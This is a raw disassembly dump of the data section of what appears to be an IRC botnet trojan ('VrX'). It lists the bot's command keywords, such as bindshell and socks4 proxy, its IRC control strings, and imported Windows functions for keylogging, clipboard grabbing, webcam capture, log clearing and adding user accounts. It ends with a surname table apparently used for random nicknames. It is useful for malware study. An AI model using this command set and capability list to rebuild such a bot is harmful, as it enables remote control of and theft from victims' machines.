aSocks4stop db 'socks4stop',0 ; DATA XREF: sub_401ACD+106Co
align 4
; char aS4[]
aS4 db 's4',0 ; DATA XREF: sub_401ACD+1057o
align 10h
; char aSocks4[]
aSocks4 db 'socks4',0 ; DATA XREF: sub_401ACD+1042o
align 4
dword_42CA08 dd 234032Dh, 646E6962h, 6C656873h, 2D03026Ch, 0
; DATA XREF: sub_401ACD+1037o
aServer_0 db 'Server',0 ; DATA XREF: sub_401ACD+1032o
; sub_401ACD+1085o ...
align 4
; char aBindshellstop[]
aBindshellstop db 'bindshellstop',0 ; DATA XREF: sub_401ACD+1019o
align 4
; char aBd[]
aBd db 'bd',0 ; DATA XREF: sub_401ACD+1004o
align 4
; char aBindshell[]
aBindshell db 'bindshell',0 ; DATA XREF: sub_401ACD+FEFo
align 4
; char aUnsec[]
aUnsec db 'unsec',0 ; DATA XREF: sub_401ACD+FDAo
align 4
; char aUnsecure[]
aUnsecure db 'unsecure',0 ; DATA XREF: sub_401ACD+FC5o
align 4
; char aSec[]
aSec db 'sec',0 ; DATA XREF: sub_401ACD+FB0o
; sub_401ACD+2D26o
; char aSecure[]
aSecure db 'secure',0 ; DATA XREF: sub_401ACD+F9Bo
; sub_401ACD+2D15o
align 4
; char aSt[]
aSt db 'st',0 ; DATA XREF: sub_401ACD+F86o
align 4
; char aSpeedtest[]
aSpeedtest db 'speedtest',0 ; DATA XREF: sub_401ACD+F71o
align 4
; char aRz[]
aRz db 'rz',0 ; DATA XREF: sub_401ACD+F5Co
align 4
; char aRulez[]
aRulez db 'rulez',0 ; DATA XREF: sub_401ACD+F47o
align 10h
; char aVer[]
aVer db 'ver',0 ; DATA XREF: sub_401ACD+F32o
; char aVersion[]
aVersion db 'version',0 ; DATA XREF: sub_401ACD+F1Do
; char aLo[]
aLo db 'lo',0 ; DATA XREF: sub_401ACD+F08o
align 10h
; char aLogout[]
aLogout db 'logout',0 ; DATA XREF: sub_401ACD+EF3o
align 4
; char aDi3[]
aDi3 db 'di3',0 ; DATA XREF: sub_401ACD+EC9o
; sub_401ACD+EDEo
; char aRn[]
aRn db 'rn',0 ; DATA XREF: sub_401ACD+EB4o
align 10h
; char aRndnick_0[]
aRndnick_0 db 'rndnick',0 ; DATA XREF: sub_401ACD+E9Co
; char a63[]
a63 db '63',0 ; DATA XREF: sub_401ACD+D69o
align 4
; char asc_42CAAC[]
asc_42CAAC: ; DATA XREF: sub_401ACD+D41o
unicode 0, <)>,0
; char aChr[]
aChr db '$chr(',0 ; DATA XREF: sub_401ACD+D04o
align 4
; char aServer[]
aServer db '$server',0 ; DATA XREF: sub_401ACD+CF9o
; char aRndnick[]
aRndnick db '$rndnick',0 ; DATA XREF: sub_401ACD+CE8o
align 4
; char aChan[]
aChan db '$chan',0 ; DATA XREF: sub_401ACD+CCCo
align 4
; char aUser[]
aUser db '$user',0 ; DATA XREF: sub_401ACD+CBBo
align 4
; char aMe[]
aMe db '$me',0 ; DATA XREF: sub_401ACD+CA9o
; char aD_0[]
aD_0 db '$%d',0 ; DATA XREF: sub_401ACD+C3Bo
; char aD[]
aD db '$%d-',0 ; DATA XREF: sub_401ACD+B77o
align 4
; char aK[]
aK: ; DATA XREF: sub_401ACD+A9Fo
; sub_401ACD+3DBCo ...
unicode 0, <k>,0
; char aC[]
aC: ; DATA XREF: sub_401ACD+A87o
; sub_401ACD+4AA4o ...
unicode 0, <c>,0
unk_42CAF4 db 2Dh ; - ; DATA XREF: sub_401ACD+A64o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aChatFailedByUn db '- Chat failed by unauthorized user: %s.',0
align 4
unk_42CB28 db 2Dh ; - ; DATA XREF: sub_401ACD+A53o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aChatAlreadyAct db '- Chat already active with user: %s.',0
align 4
unk_42CB58 db 2Dh ; - ; DATA XREF: sub_401ACD+A42o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFailedToSta_28 db '- Failed to start chat thread, error: <%d>.',0
align 10h
; char asc_42CB90[]
asc_42CB90 db '-' ; DATA XREF: sub_401ACD+9D3o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aChatFromUserS_ db '- Chat from user: %s.',0
align 10h
; char aChat[]
aChat db 'CHAT',0 ; DATA XREF: sub_401ACD+93Co
align 4
; char asc_42CBB8[]
asc_42CBB8 db '-' ; DATA XREF: sub_401ACD+91Co
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aReceiveFileSFa db '- Receive file: ',27h,'%s',27h,' failed from unauthorized user: %s.',0
align 4
unk_42CBFC db 2Dh ; - ; DATA XREF: sub_401ACD+904o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFailedToSta_29 db '- Failed to start transfer thread, error: <%d>.',0
align 4
dword_42CC38 dd 49544F4Eh, 25204543h, 13A2073h, 474E4950h, 1732520h
; DATA XREF: sub_401ACD+8F3o
dd 0A0Dh
; char dword_42CC50
dword_42CC50 dd 4E495001h, 47h ; DATA XREF: sub_401ACD+8BFo
dword_42CC58 dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h
; DATA XREF: sub_401ACD+8B4o
dd 0D017325h, 0Ah
; char dword_42CC74
dword_42CC74 dd 52455601h, 4E4F4953h, 1 ; DATA XREF: sub_401ACD+883o
; char asc_42CC80[]
asc_42CC80 db '#',0 ; DATA XREF: sub_401ACD+7FAo
; sub_40CD43+1Bo
align 4
; char asc_42CC84[]
asc_42CC84 db '-' ; DATA XREF: sub_401ACD+769o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aReceiveFileSFr db '- Receive file: ',27h,'%s',27h,' from user: %s.',0
align 4
; char aS_6[]
aS_6 db '%s',0 ; DATA XREF: sub_401ACD+6EAo
; sub_401ACD+979o ...
align 4
; char aSend[]
aSend db 'SEND',0 ; DATA XREF: sub_401ACD+6C3o
align 10h
; char dword_42CCC0
dword_42CCC0 dd 43434401h, 0 ; DATA XREF: sub_401ACD+6A5o
; char a332[]
a332 db '332',0 ; DATA XREF: sub_401ACD+62Fo
; sub_401ACD+AC1o ...
; char aNotice[]
aNotice db 'NOTICE',0 ; DATA XREF: sub_401ACD+60Do
; sub_409869+Fo
align 4
; char aPrivmsg[]
aPrivmsg db 'PRIVMSG',0 ; DATA XREF: sub_401ACD+601o
; sub_409869+16o
; char unk_42CCDC
unk_42CCDC db 3 ; DATA XREF: sub_401ACD+5B0o
a81VrxUserSLo_0 db '8,1-VrX- User: %s logged out.',0
align 4
unk_42CCFC db 3 ; DATA XREF: sub_401ACD+590o
a81VrxJoinedC_0 db '8,1-VrX- Joined channel: %s.',0
align 4
; char a353[]
a353 db '353',0 ; DATA XREF: sub_401ACD+55Fo
; char aQuit[]
aQuit db 'QUIT',0 ; DATA XREF: sub_401ACD+522o
; sub_40F3AA+5C6o
align 4
; char aPart[]
aPart db 'PART',0 ; DATA XREF: sub_401ACD+511o
; sub_401ACD+5CDo
align 10h
; char aSS_1[]
aSS_1 db ':%s%s',0 ; DATA XREF: sub_401ACD+4ECo
align 4
; char aNick[]
aNick db 'NICK',0 ; DATA XREF: sub_401ACD+3CEo
align 10h
; char aNoticeSS[]
aNoticeSS db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+371o
; sub_401ACD+5F1o
; char unk_42CD50
unk_42CD50 db 3 ; DATA XREF: sub_401ACD+355o
; sub_401ACD+2E79o ...
a81VrxUserSLo_1 db '8,1-VrX- User %s logged out.',0
align 10h
; char aKick[]
aKick db 'KICK',0 ; DATA XREF: sub_401ACD+2E4o
align 4
; char aNickS[]
aNickS db 'NICK %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+28Do
; sub_401ACD+7A88o ...
align 4
; char a433[]
a433 db '433',0 ; DATA XREF: sub_401ACD+262o
; sub_417B76:loc_417BDEo
; char a[]
a@: ; DATA XREF: sub_401ACD+23Ao
unicode 0, <@>,0
; char a302_0[]
a302_0 db '302',0 ; DATA XREF: sub_401ACD+22Ao
; char a005[]
a005 db '005',0 ; DATA XREF: sub_401ACD+215o
; char a001[]
a001 db '001',0 ; DATA XREF: sub_401ACD+200o
; char aJoinSS[]
aJoinSS db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+1E4o
; sub_401ACD+3BBo ...
align 4
; char aPongS[]
aPongS db 'PONG %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+1C3o
align 4
; char aPing[]
aPing db 'PING',0 ; DATA XREF: sub_401ACD+1A9o
; sub_417B76+50o
align 4
; char Delim[]
Delim: ; DATA XREF: sub_401ACD+19Ao
; sub_401ACD+7B9Do
unicode 0, <!>,0
; char asc_42CDC0[]
asc_42CDC0: ; DATA XREF: sub_401ACD+A8o
; sub_401ACD+E41o ...
unicode 0, < >,0
; char SubStr[]
SubStr db ' :',0 ; DATA XREF: sub_401ACD+86o
; sub_401ACD:loc_4025E6o
align 4
; char aSSS_1[]
aSSS_1 db '%s %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_409869+5Do
aCapgetdriverde db 'capGetDriverDescriptionA',0 ; DATA XREF: sub_409909+C7Fo
align 10h
aCapcreatecaptu db 'capCreateCaptureWindowA',0 ; DATA XREF: sub_409909+C77o
aAvicap32_dll db 'avicap32.dll',0 ; DATA XREF: sub_409909:loc_40A573o
align 4
aSqldisconnect db 'SQLDisconnect',0 ; DATA XREF: sub_409909+C15o
align 4
aSqlfreehandle db 'SQLFreeHandle',0 ; DATA XREF: sub_409909+C08o
align 4
aSqlallochandle db 'SQLAllocHandle',0 ; DATA XREF: sub_409909+BFBo
align 4
aSqlexecdirect db 'SQLExecDirect',0 ; DATA XREF: sub_409909+BEEo
align 4
aSqlsetenvattr db 'SQLSetEnvAttr',0 ; DATA XREF: sub_409909+BE1o
align 4
aSqldriverconne db 'SQLDriverConnect',0 ; DATA XREF: sub_409909+BD9o
align 4
aOdbc32_dll db 'odbc32.dll',0 ; DATA XREF: sub_409909:loc_40A4D5o
align 4
aShchangenotify db 'SHChangeNotify',0 ; DATA XREF: sub_409909+B97o
align 4
aShellexecutea db 'ShellExecuteA',0 ; DATA XREF: sub_409909+B8Fo
align 4
aShell32_dll db 'shell32.dll',0 ; DATA XREF: sub_409909:loc_40A48Bo
aWnetcancelco_0 db 'WNetCancelConnection2W',0 ; DATA XREF: sub_409909+B3Do
align 4
aWnetcancelconn db 'WNetCancelConnection2A',0 ; DATA XREF: sub_409909+B30o
align 4
aWnetaddconne_0 db 'WNetAddConnection2W',0 ; DATA XREF: sub_409909+B23o
aWnetaddconnect db 'WNetAddConnection2A',0 ; DATA XREF: sub_409909+B1Bo
aMpr_dll db 'mpr.dll',0 ; DATA XREF: sub_409909:loc_40A417o
aDeleteipnetent db 'DeleteIpNetEntry',0 ; DATA XREF: sub_409909+AD9o
align 4
aGetipnettable db 'GetIpNetTable',0 ; DATA XREF: sub_409909+AD1o
align 4
aIphlpapi_dll db 'iphlpapi.dll',0 ; DATA XREF: sub_409909:loc_40A3CDo
align 4
aDnsflushreso_0 db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_409909+A8Fo
align 4
aDnsflushresolv db 'DnsFlushResolverCache',0 ; DATA XREF: sub_409909+A87o
align 10h
aDnsapi_dll db 'dnsapi.dll',0 ; DATA XREF: sub_409909:loc_40A383o
align 4
aNetwkstagetinf db 'NetWkstaGetInfo',0 ; DATA XREF: sub_409909+9F9o
aNetmessagebuff db 'NetMessageBufferSend',0 ; DATA XREF: sub_409909+9ECo
; sub_418AF1+65o
align 4
aNetusergetinfo db 'NetUserGetInfo',0 ; DATA XREF: sub_409909+9DFo
align 4
aNetuserenum db 'NetUserEnum',0 ; DATA XREF: sub_409909+9D2o
aNetuserdel db 'NetUserDel',0 ; DATA XREF: sub_409909+9C5o
align 4
aNetuseradd db 'NetUserAdd',0 ; DATA XREF: sub_409909+9B8o
align 4
aNetremotetod db 'NetRemoteTOD',0 ; DATA XREF: sub_409909+9ABo
align 4
aNetapibufferfr db 'NetApiBufferFree',0 ; DATA XREF: sub_409909+99Eo
align 4
aNetschedulejob db 'NetScheduleJobAdd',0 ; DATA XREF: sub_409909+991o
align 10h
aNetshareenum db 'NetShareEnum',0 ; DATA XREF: sub_409909+984o
align 10h
aNetsharedel db 'NetShareDel',0 ; DATA XREF: sub_409909+977o
aNetshareadd db 'NetShareAdd',0 ; DATA XREF: sub_409909+96Fo
aNetapi32_dll db 'netapi32.dll',0 ; DATA XREF: sub_409909:loc_40A267o
; sub_418AF1+58o
align 4
aIcmpsendecho db 'IcmpSendEcho',0 ; DATA XREF: sub_409909+921o
align 4
aIcmpclosehandl db 'IcmpCloseHandle',0 ; DATA XREF: sub_409909+914o
aIcmpcreatefile db 'IcmpCreateFile',0 ; DATA XREF: sub_409909+90Co
align 4
aIcmp_dll db 'icmp.dll',0 ; DATA XREF: sub_409909:loc_40A208o
align 4
aMozilla4_0Comp db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_409909+8D2o
align 10h
aInternetcloseh db 'InternetCloseHandle',0 ; DATA XREF: sub_409909+860o
aInternetreadfi db 'InternetReadFile',0 ; DATA XREF: sub_409909+853o
align 4
aInternetcracku db 'InternetCrackUrlA',0 ; DATA XREF: sub_409909+846o
align 4
aInternetopenur db 'InternetOpenUrlA',0 ; DATA XREF: sub_409909+839o
align 10h
aInternetopena db 'InternetOpenA',0 ; DATA XREF: sub_409909+82Co
align 10h
aInternetconnec db 'InternetConnectA',0 ; DATA XREF: sub_409909+81Fo
align 4
aHttpsendreques db 'HttpSendRequestA',0 ; DATA XREF: sub_409909+812o
align 4
aHttpopenreques db 'HttpOpenRequestA',0 ; DATA XREF: sub_409909+805o
align 4
aInternetgetc_0 db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_409909+7F8o
aInternetgetcon db 'InternetGetConnectedState',0 ; DATA XREF: sub_409909+7F0o
align 4
aWininet_dll db 'wininet.dll',0 ; DATA XREF: sub_409909:loc_40A0E8o
aClosesocket db 'closesocket',0 ; DATA XREF: sub_409909+6A6o
aGetpeername db 'getpeername',0 ; DATA XREF: sub_409909+699o
aGethostbyaddr db 'gethostbyaddr',0 ; DATA XREF: sub_409909+68Co
align 4
aGethostbyname db 'gethostbyname',0 ; DATA XREF: sub_409909+67Fo
align 4
aGethostname db 'gethostname',0 ; DATA XREF: sub_409909+672o
aGetsockname db 'getsockname',0 ; DATA XREF: sub_409909+665o
aSetsockopt db 'setsockopt',0 ; DATA XREF: sub_409909+658o
align 4
aAccept db 'accept',0 ; DATA XREF: sub_409909+64Bo
align 4
aListen db 'listen',0 ; DATA XREF: sub_409909+63Eo
align 4
aSelect db 'select',0 ; DATA XREF: sub_409909+631o
align 4
aBind db 'bind',0 ; DATA XREF: sub_409909+629o
align 4
aRecvfrom db 'recvfrom',0 ; DATA XREF: sub_409909+617o
align 4
aRecv db 'recv',0 ; DATA XREF: sub_409909+60Ao
align 10h
aSendto db 'sendto',0 ; DATA XREF: sub_409909+5FDo
align 4
aNtohl db 'ntohl',0 ; DATA XREF: sub_409909+5E3o
align 10h
aNtohs db 'ntohs',0 ; DATA XREF: sub_409909+5D6o
align 4
aHtonl db 'htonl',0 ; DATA XREF: sub_409909+5C9o
align 10h
aHtons db 'htons',0 ; DATA XREF: sub_409909+5BCo
align 4
aInet_addr db 'inet_addr',0 ; DATA XREF: sub_409909+5AFo
align 4
aInet_ntoa db 'inet_ntoa',0 ; DATA XREF: sub_409909+5A2o
align 10h
aConnect db 'connect',0 ; DATA XREF: sub_409909+595o
aIoctlsocket db 'ioctlsocket',0 ; DATA XREF: sub_409909+588o
aSocket db 'socket',0 ; DATA XREF: sub_409909+57Bo
align 4
aWsacleanup db 'WSACleanup',0 ; DATA XREF: sub_409909+56Eo
align 4
aWsagetlasterro db 'WSAGetLastError',0 ; DATA XREF: sub_409909+561o
aWsaioctl db 'WSAIoctl',0 ; DATA XREF: sub_409909+554o
align 4
a__wsafdisset db '__WSAFDIsSet',0 ; DATA XREF: sub_409909+547o
align 4
aWsaasyncselect db 'WSAAsyncSelect',0 ; DATA XREF: sub_409909+53Ao
align 4
aWsasocketa db 'WSASocketA',0 ; DATA XREF: sub_409909+52Do
align 10h
aWsastartup db 'WSAStartup',0 ; DATA XREF: sub_409909+525o
align 4
aWs2_32_dll db 'ws2_32.dll',0 ; DATA XREF: sub_409909+514o
align 4
aDeleteobject db 'DeleteObject',0 ; DATA XREF: sub_409909+4A1o
align 4
aDeletedc db 'DeleteDC',0 ; DATA XREF: sub_409909+494o
align 4
aBitblt db 'BitBlt',0 ; DATA XREF: sub_409909+487o
align 4
aSelectobject db 'SelectObject',0 ; DATA XREF: sub_409909+47Ao
align 4
aGetdibcolortab db 'GetDIBColorTable',0 ; DATA XREF: sub_409909+46Do
align 10h
aGetdevicecaps db 'GetDeviceCaps',0 ; DATA XREF: sub_409909+460o
align 10h
aCreatecompatib db 'CreateCompatibleDC',0 ; DATA XREF: sub_409909+453o
align 4
aCreatedibsecti db 'CreateDIBSection',0 ; DATA XREF: sub_409909+446o
align 4
aCreatedca db 'CreateDCA',0 ; DATA XREF: sub_409909+43Eo
align 4
aGdi32_dll db 'gdi32.dll',0 ; DATA XREF: sub_409909:loc_409D36o
align 10h
aGetusernamea db 'GetUserNameA',0 ; DATA XREF: sub_409909:loc_409D0Eo
align 10h
aIsvalidsecurit db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_409909+3ADo
align 4
aEnumservicesst db 'EnumServicesStatusA',0 ; DATA XREF: sub_409909+3A0o
aCloseserviceha db 'CloseServiceHandle',0 ; DATA XREF: sub_409909+393o
align 4
aDeleteservice db 'DeleteService',0 ; DATA XREF: sub_409909+386o
align 4
aControlservice db 'ControlService',0 ; DATA XREF: sub_409909+379o
align 4
aStartservicea db 'StartServiceA',0 ; DATA XREF: sub_409909+36Co
align 4
aOpenservicea db 'OpenServiceA',0 ; DATA XREF: sub_409909+35Fo
align 4
aOpenscmanagera db 'OpenSCManagerA',0 ; DATA XREF: sub_409909:loc_409C60o
align 4
aAdjusttokenpri db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_409909+327o
align 4
aLookupprivileg db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_409909+31Ao
align 4
aOpenprocesstok db 'OpenProcessToken',0 ; DATA XREF: sub_409909:loc_409C1Bo
align 4
aCleareventloga db 'ClearEventLogA',0 ; DATA XREF: sub_409909+2C6o
align 4
aOpeneventloga db 'OpenEventLogA',0 ; DATA XREF: sub_409909+2B9o
align 4
aRegclosekey db 'RegCloseKey',0 ; DATA XREF: sub_409909+2ACo
aRegdeletevalue db 'RegDeleteValueA',0 ; DATA XREF: sub_409909+29Fo
aRegqueryvaluee db 'RegQueryValueExA',0 ; DATA XREF: sub_409909+292o
align 4
aRegsetvalueexa db 'RegSetValueExA',0 ; DATA XREF: sub_409909+285o
align 4
aRegcreatekeyex db 'RegCreateKeyExA',0 ; DATA XREF: sub_409909+278o
aRegopenkeyexa db 'RegOpenKeyExA',0 ; DATA XREF: sub_409909+270o
align 4
aAdvapi32_dll db 'advapi32.dll',0 ; DATA XREF: sub_409909:loc_409B68o
align 4
aGetforegroundw db 'GetForegroundWindow',0 ; DATA XREF: sub_409909+21Ao
aGetwindowtexta db 'GetWindowTextA',0 ; DATA XREF: sub_409909+20Do
align 4
aGetkeystate db 'GetKeyState',0 ; DATA XREF: sub_409909+200o
aGetasynckeysta db 'GetAsyncKeyState',0 ; DATA XREF: sub_409909:loc_409B01o
align 4
aExitwindowsex db 'ExitWindowsEx',0 ; DATA XREF: sub_409909+1A0o
align 4
aCloseclipboard db 'CloseClipboard',0 ; DATA XREF: sub_409909+193o
align 4
aGetclipboardda db 'GetClipboardData',0 ; DATA XREF: sub_409909+186o
align 10h
aOpenclipboard db 'OpenClipboard',0 ; DATA XREF: sub_409909+179o
align 10h
aDestroywindow db 'DestroyWindow',0 ; DATA XREF: sub_409909+16Co
align 10h
aIswindow db 'IsWindow',0 ; DATA XREF: sub_409909+15Fo
align 4
aFindwindowa db 'FindWindowA',0 ; DATA XREF: sub_409909+152o
aSendmessagea db 'SendMessageA',0 ; DATA XREF: sub_409909+14Ao
align 4
aUser32_dll db 'user32.dll',0 ; DATA XREF: sub_409909:loc_409A3Eo
; ___crtMessageBoxA+Do
align 4
aRegisterservic db 'RegisterServiceProcess',0 ; DATA XREF: sub_409909:loc_409A11o
align 4
aQueryperform_0 db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_409909+A0o
align 4
aQueryperforman db 'QueryPerformanceCounter',0 ; DATA XREF: sub_409909+93o
aSearchpatha db 'SearchPathA',0 ; DATA XREF: sub_409909+86o
aGetdrivetypea db 'GetDriveTypeA',0 ; DATA XREF: sub_409909+79o
align 4
aGetlogicaldriv db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_409909+6Co
aGetdiskfreespa db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_409909+5Fo
aModule32first db 'Module32First',0 ; DATA XREF: sub_409909+52o
align 4
aProcess32next db 'Process32Next',0 ; DATA XREF: sub_409909+45o
align 4
aProcess32first db 'Process32First',0 ; DATA XREF: sub_409909+38o
align 4
aCreatetoolhelp db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_409909+2Bo
align 4
aSeterrormode db 'SetErrorMode',0 ; DATA XREF: sub_409909+23o
align 4
aKernel32_dll db 'kernel32.dll',0 ; DATA XREF: sub_409909+Ao
align 4
; char asc_42D6C4[]
asc_42D6C4 db '-' ; DATA XREF: sub_40A5C5+2F2o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aDllTestComplet db 'DLL test complete.',0
align 4
; char aAvicap32_dllFa[]
aAvicap32_dllFa db 'Avicap32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+2CCo
align 10h
; char aOdbc32_dllFail[]
aOdbc32_dllFail db 'Odbc32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+298o
; char aShell32_dllFai[]
aShell32_dllFai db 'Shell32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+264o
align 4
; char aMpr32_dllFaile[]
aMpr32_dllFaile db 'Mpr32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+230o
align 4
; char aIphlpapi_dllFa[]
aIphlpapi_dllFa db 'Iphlpapi.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+1FCo
align 4
; char aDnsapi_dllFail[]
aDnsapi_dllFail db 'Dnsapi.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+1C8o
; char aNetapi32_dllFa[]
aNetapi32_dllFa db 'Netapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+194o
align 4
; char aIcmp_dllFailed[]
aIcmp_dllFailed db 'Icmp.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+160o
align 4
; char aWininet_dllFai[]
aWininet_dllFai db 'Wininet.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+12Co
align 10h
; char aWs2_32_dllFail[]
aWs2_32_dllFail db 'Ws2_32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+F8o
; char aGdi32_dllFaile[]
aGdi32_dllFaile db 'Gdi32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+C4o
align 10h
; char aAdvapi32_dllFa[]
aAdvapi32_dllFa db 'Advapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+90o
align 4
; char aUser32_dllFail[]
aUser32_dllFail db 'User32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+5Co
; char aKernel32_dllFa[]
aKernel32_dllFa db 'Kernel32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+28o
align 10h
; char a__0[]
a__0: ; DATA XREF: sub_41036B+252o
unicode 0, <.>,0
unk_42D854 db 2Dh ; - ; DATA XREF: sub_40A928:loc_40A9E7o
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aNotSupportedBy db 'not supported by this system',0
align 4
; char asc_42D884[]
asc_42D884 db '-' ; DATA XREF: sub_40A928:loc_40A9B5o
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aUnableToAlloca db 'unable to allocate ARP cache',0
align 4
unk_42D8B4 db 2Dh ; - ; DATA XREF: sub_40A928:loc_40A981o
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aArpCacheIsEmpt db 'ARP cache is empty',0
align 4
; char asc_42D8D8[]
asc_42D8D8 db '-' ; DATA XREF: sub_40A928+49o
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aErrorGettingAr db 'error getting ARP cache: %d',0
; char aD_D_D_D[]
aD_D_D_D db '%d.%d.%d.%d',0 ; DATA XREF: sub_40AA06+46o
; sub_40C2AF+38o ...
aReal db 'real',0
align 4
dd 0
dword_42D91C dd 0 ; DATA XREF: sub_40AE84+7o
off_42D920 dd offset sub_40AAAC ; DATA XREF: sub_40AE84+49r
aConst db 'const',0
align 10h
dd 1, 40AB19h, 7474656Ch, 7265h, 0
dd 2, 40AB77h, 706D6F63h, 2 dup(0)
dd 3, 40ABC4h, 6E756F63h, 797274h, 0
dd 4, 40AC62h, 736Fh, 2 dup(0)
dd 5, 40ACD7h, 6E6C6C61h, 6B6369h, 0
dd 6, 40AEEDh
off_42D99C dd offset aAbdulrazak ; DATA XREF: sub_40AAAC+21r
; "Abdulrazak"
dd offset aAckerman ; "Ackerman"
dd offset aAdams ; "Adams"
off_42D9A8 dd offset aAddison ; DATA XREF: sub_40AE84+39o
; "Addison"
dd offset aAdelstein ; "Adelstein"
dd offset aAdibe ; "Adibe"
dd offset aAdorno ; "Adorno"
dd offset aAhlers ; "Ahlers"
dd offset aAlavi ; "Alavi"
dd offset aAlcorn ; "Alcorn"
dd offset aAlda ; "Alda"
dd offset aAleks ; "Aleks"
dd offset aAllison ; "Allison"
dd offset aAlongi ; "Alongi"
dd offset aAltavilla ; "Altavilla"
dd offset aAltenberger ; "Altenberger"
dd offset aAltenhofen ; "Altenhofen"
dd offset aAmaral ; "Amaral"
dd offset aAmatangelo ; "Amatangelo"
dd offset aAmeer ; "Ameer"
dd offset aAmsden ; "Amsden"
dd offset aAnand ; "Anand"
dd offset aAndel ; "Andel"
dd offset aAndo ; "Ando"
dd offset aAndrelus ; "Andrelus"
dd offset aAndron ; "Andron"
dd offset aAnfinrud ; "Anfinrud"
dd offset aAnsley ; "Ansley"
dd offset aAnthony ; "Anthony"
dd offset aAntos ; "Antos"
dd offset aArbia ; "Arbia"
dd offset aArduini ; "Arduini"
dd offset aArellano ; "Arellano"
dd offset aAristotle ; "Aristotle"
dd offset aArjas ; "Arjas"
dd offset aArky ; "Arky"
dd offset aAtkins ; "Atkins"
dd offset aAugustus ; "Augustus"
dd offset aAurelius ; "Aurelius"
dd offset aAxelrod ; "Axelrod"
dd offset aAxworthy ; "Axworthy"
dd offset aAyiemba ; "Ayiemba"
dd offset aAykroyd ; "Aykroyd"
dd offset aAyling ; "Ayling"
dd offset aAzima ; "Azima"
dd offset aBachmuth ; "Bachmuth"
dd offset aBackus ; "Backus"
dd offset aBady ; "Bady"
dd offset aBaglivo ; "Baglivo"
dd offset aBagnold ; "Bagnold"
dd offset aBailar ; "Bailar"
dd offset aBakanowsky ; "Bakanowsky"
dd offset aBaleja ; "Baleja"
dd offset aBallatori ; "Ballatori"
dd offset aBallew ; "Ballew"
dd offset aBaltz ; "Baltz"
dd offset aBanta ; "Banta"
dd offset aBarabesi ; "Barabesi"
dd offset aBarajas ; "Barajas"
dd offset aBaranczak ; "Baranczak"
dd offset aBaranowska ; "Baranowska"
dd offset aBarberi ; "Barberi"
dd offset aBarbetti ; "Barbetti"
dd offset aBarneson ; "Barneson"
dd offset aBarnett ; "Barnett"
dd offset aBarriola ; "Barriola"
dd offset aBarry ; "Barry"
dd offset aBartholomew ; "Bartholomew"
dd offset aBartolome ; "Bartolome"
dd offset aBartoo ; "Bartoo"
dd offset aBasavappa ; "Basavappa"
dd offset aBashevis ; "Bashevis"
dd offset aBatchelder ; "Batchelder"
dd offset aBaumiller ; "Baumiller"
dd offset aBayles ; "Bayles"
dd offset aBayo ; "Bayo"
dd offset aBeacon ; "Beacon"
dd offset aBeal ; "Beal"
dd offset aBean ; "Bean"
dd offset aBeckman ; "Beckman"
dd offset aBeder ; "Beder"
dd offset aBedford ; "Bedford"
dd offset aBehenna ; "Behenna"
dd offset aBelanger ; "Belanger"
dd offset aBelaoussof ; "Belaoussof"
dd offset aBelfer ; "Belfer"
dd offset aBelinCollart ; "Belin-Collart"
dd offset aBellavance ; "Bellavance"
dd offset aBellhouse ; "Bellhouse"
dd offset aBellini ; "Bellini"
dd offset aBelloc ; "Belloc"
dd offset aBenedictDye ; "Benedict-Dye"
dd offset aBergson ; "Bergson"
dd offset aBerkeJenkins ; "Berke-Jenkins"
dd offset aBernardo ; "Bernardo"
dd offset aBernassola ; "Bernassola"
dd offset aBernston ; "Bernston"
dd offset aBerrizbeitia ; "Berrizbeitia"
dd offset aBetti ; "Betti"
dd offset aBeynart ; "Beynart"
dd offset aBiagioli ; "Biagioli"
dd offset aBickel ; "Bickel"
dd offset aBinion ; "Binion"
dd offset aBir ; "Bir"
dd offset aBisema ; "Bisema"
